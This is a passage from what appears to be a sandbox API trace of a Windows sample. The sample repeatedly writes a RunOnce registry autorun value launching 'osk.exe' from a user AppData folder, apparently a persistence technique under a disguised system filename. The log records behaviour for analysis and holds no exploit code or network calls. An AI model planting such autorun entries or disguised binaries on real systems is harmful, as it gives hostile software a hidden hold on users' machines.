out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.671] RegCloseKey (hKey=0x14c) returned 0x0 [0260.671] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.672] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.684] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.685] RegCloseKey (hKey=0x14c) returned 0x0 [0260.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.746] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.746] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.747] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.747] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.747] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.747] RegCloseKey (hKey=0x14c) returned 0x0 [0260.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.748] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.769] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.769] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.769] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.770] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.770] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.770] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.770] RegCloseKey (hKey=0x14c) returned 0x0 [0260.770] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.771] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.777] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.777] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.778] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.778] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.778] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.778] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.778] RegCloseKey (hKey=0x14c) returned 0x0 [0260.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.779] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.793] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.793] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.794] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.794] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.794] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.794] RegCloseKey (hKey=0x14c) returned 0x0 [0260.794] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.794] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.809] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.810] RegCloseKey (hKey=0x14c) returned 0x0 [0260.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.828] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.828] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.829] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.830] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.830] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.830] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.830] RegCloseKey (hKey=0x14c) returned 0x0 [0260.831] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.831] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.859] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.859] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.860] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.860] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.860] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.860] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.861] RegCloseKey (hKey=0x14c) returned 0x0 [0260.861] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.861] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.872] RegCloseKey (hKey=0x14c) returned 0x0 [0260.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.887] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.888] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.888] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.888] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.888] RegCloseKey (hKey=0x14c) returned 0x0 [0260.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.889] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.902] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.902] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.903] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.903] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.903] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.904] RegCloseKey (hKey=0x14c) returned 0x0 [0260.904] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.904] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.918] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.918] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.919] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.919] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.919] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.919] RegCloseKey (hKey=0x14c) returned 0x0 [0260.919] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.920] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.933] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.933] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.934] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.934] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.934] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.935] RegCloseKey (hKey=0x14c) returned 0x0 [0260.935] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.935] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.949] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.949] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.949] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.950] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.950] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.950] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.950] RegCloseKey (hKey=0x14c) returned 0x0 [0260.951] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.951] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.965] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.965] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.966] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.966] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.966] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.966] RegCloseKey (hKey=0x14c) returned 0x0 [0260.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.967] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.980] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.980] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.981] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.981] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.981] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.982] RegCloseKey (hKey=0x14c) returned 0x0 [0260.982] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.982] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.997] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.997] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.998] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.998] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.998] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.998] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.999] RegCloseKey (hKey=0x14c) returned 0x0 [0260.999] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.999] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.028] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.028] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.028] RegCloseKey (hKey=0x14c) returned 0x0 [0261.029] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.043] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.043] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.043] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.044] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.044] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.044] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.044] RegCloseKey (hKey=0x14c) returned 0x0 [0261.044] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.045] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.059] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.059] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.059] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.059] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.060] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.060] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.060] RegCloseKey (hKey=0x14c) returned 0x0 [0261.060] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.061] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.074] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.074] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.075] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.075] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.075] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.075] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.075] RegCloseKey (hKey=0x14c) returned 0x0 [0261.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.076] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.090] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.090] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.090] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.091] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, 